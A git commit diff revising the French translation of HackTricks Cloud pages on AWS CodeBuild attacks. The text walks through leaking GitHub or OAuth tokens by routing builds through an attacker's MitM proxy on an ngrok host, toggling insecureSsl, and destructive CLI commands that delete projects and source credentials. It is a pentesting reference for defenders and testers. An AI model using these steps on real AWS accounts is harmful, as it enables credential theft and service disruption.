mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
|
||||
|
||||
### Vérifier les Secrets
|
||||
|
||||
Si des identifiants ont été définis dans Codebuild pour se connecter à Github, Gitlab ou Bitbucket sous forme de jetons personnels, mots de passe ou accès par jeton OAuth, ces **identifiants vont être stockés comme des secrets dans le gestionnaire de secrets**.\
|
||||
Si des identifiants ont été définis dans Codebuild pour se connecter à Github, Gitlab ou Bitbucket sous forme de jetons personnels, mots de passe ou accès par jeton OAuth, ces **identifiants vont être stockés comme secrets dans le gestionnaire de secrets**.\
|
||||
Par conséquent, si vous avez accès pour lire le gestionnaire de secrets, vous pourrez obtenir ces secrets et pivoter vers la plateforme connectée.
|
||||
|
||||
{{#ref}}
|
||||
@@ -38,7 +38,7 @@ Et **changer les commandes Buildspec pour exfiltrer chaque dépôt**.
|
||||
> Cependant, cette **tâche est répétitive et fastidieuse** et si un jeton github a été configuré avec **des permissions d'écriture**, un attaquant **ne pourra pas (ab)user de ces permissions** car il n'a pas accès au jeton.\
|
||||
> Ou peut-être ? Consultez la section suivante
|
||||
|
||||
### Divulgation des Jetons d'Accès depuis AWS CodeBuild
|
||||
### Fuite des Jetons d'Accès depuis AWS CodeBuild
|
||||
|
||||
Vous pouvez divulguer l'accès accordé dans CodeBuild à des plateformes comme Github. Vérifiez si un accès à des plateformes externes a été accordé avec :
|
||||
```bash
|
||||
@@ -54,7 +54,7 @@ Un attaquant pourrait supprimer un projet CodeBuild entier, entraînant la perte
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
**Impact potentiel** : Perte de configuration de projet et interruption de service pour les applications utilisant le projet supprimé.
|
||||
**Impact potentiel** : Perte de la configuration du projet et interruption de service pour les applications utilisant le projet supprimé.
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
@@ -67,10 +67,10 @@ aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
|
||||
### `codebuild:DeleteSourceCredentials`
|
||||
|
||||
Un attaquant pourrait supprimer les identifiants source pour un dépôt Git, impactant le fonctionnement normal des applications s'appuyant sur le dépôt.
|
||||
Un attaquant pourrait supprimer les informations d'identification source pour un dépôt Git, impactant le fonctionnement normal des applications s'appuyant sur le dépôt.
|
||||
```sql
|
||||
aws codebuild delete-source-credentials --arn <value>
|
||||
```
|
||||
**Impact potentiel** : Disruption du fonctionnement normal des applications s'appuyant sur le dépôt affecté en raison de la suppression des identifiants source.
|
||||
**Impact potentiel** : Perturbation du fonctionnement normal des applications s'appuyant sur le dépôt affecté en raison de la suppression des identifiants source.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,24 +10,24 @@ aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
|
||||
Si vous constatez que l'authentification, par exemple à Github, est configurée dans le compte, vous pouvez **exfiltrer** cet **accès** (**GH token ou OAuth token**) en faisant en sorte que Codebuild **utilise une image docker spécifique** pour exécuter la construction du projet.
|
||||
Si vous constatez que l'authentification à, par exemple, Github est configurée dans le compte, vous pouvez **exfiltrer** cet **accès** (**GH token ou OAuth token**) en faisant en sorte que Codebuild **utilise une image docker spécifique** pour exécuter la construction du projet.
|
||||
|
||||
À cette fin, vous pourriez **créer un nouveau projet Codebuild** ou modifier l'**environnement** d'un projet existant pour définir l'**image Docker**.
|
||||
|
||||
L'image Docker que vous pourriez utiliser est [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). C'est une image Docker très basique qui définira les **variables d'environnement `https_proxy`**, **`http_proxy`** et **`SSL_CERT_FILE`**. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans **`https_proxy`** et **`http_proxy`** et de faire confiance au certificat SSL indiqué dans **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Créer et télécharger votre propre image Docker MitM**
|
||||
- Suivez les instructions du dépôt pour définir votre adresse IP de proxy et configurer votre certificat SSL et **construire l'image docker**.
|
||||
- **NE PAS CONFIGURER `http_proxy`** pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées.
|
||||
- Suivez les instructions du dépôt pour définir votre adresse IP de proxy et définir votre certificat SSL et **construire l'image docker**.
|
||||
- **NE PAS DÉFINIR `http_proxy`** pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées.
|
||||
- Vous pourriez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte.
|
||||
- Une fois que vous avez construit l'image Docker, **téléchargez-la dans un dépôt public** (Dockerhub, ECR...)
|
||||
2. **Définir l'environnement**
|
||||
- Créez un **nouveau projet Codebuild** ou **modifiez** l'environnement d'un projet existant.
|
||||
- Configurez le projet pour utiliser l'**image Docker précédemment générée**.
|
||||
- Définissez le projet pour utiliser l'**image Docker précédemment générée**.
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Configurer le proxy MitM sur votre hôte**
|
||||
3. **Définir le proxy MitM sur votre hôte**
|
||||
|
||||
- Comme indiqué dans le **dépôt Github**, vous pourriez utiliser quelque chose comme :
|
||||
```bash
|
||||
@@ -73,10 +73,10 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Via insecureSSL
|
||||
|
||||
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
|
||||
Activer cela permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** offert par la plateforme.
|
||||
Les projets **Codebuild** ont un paramètre appelé **`insecureSsl`** qui est caché dans le web et que vous ne pouvez changer que depuis l'API.\
|
||||
L'activation de cela permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** offert par la plateforme.
|
||||
|
||||
- First you need to enumerate the current configuration with something like:
|
||||
- Tout d'abord, vous devez énumérer la configuration actuelle avec quelque chose comme :
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Ensuite, exécutez l'exemple de base de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables de proxy (http_proxy et https_proxy)
|
||||
- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) dans le port indiqué par les variables de proxy (http_proxy et https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -136,7 +136,7 @@ mitm.run()
|
||||
|
||||
> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment donné de la semaine du 20 février 2023 (je pense que c'était vendredi). Donc un attaquant ne peut plus en abuser :)**
|
||||
|
||||
Un attaquant avec **des permissions élevées dans un CodeBuild pourrait fuir le token Github/Bitbucket** configuré ou si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
|
||||
Un attaquant avec **des permissions élevées sur un CodeBuild pourrait divulguer le token Github/Bitbucket** configuré ou si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
|
||||
|
||||
- Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
@@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Ensuite, cliquez sur **Build the project** ou démarrez la build depuis la ligne de commande :
|
||||
- Ensuite, cliquez sur **Build the project** ou démarrez la construction depuis la ligne de commande :
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user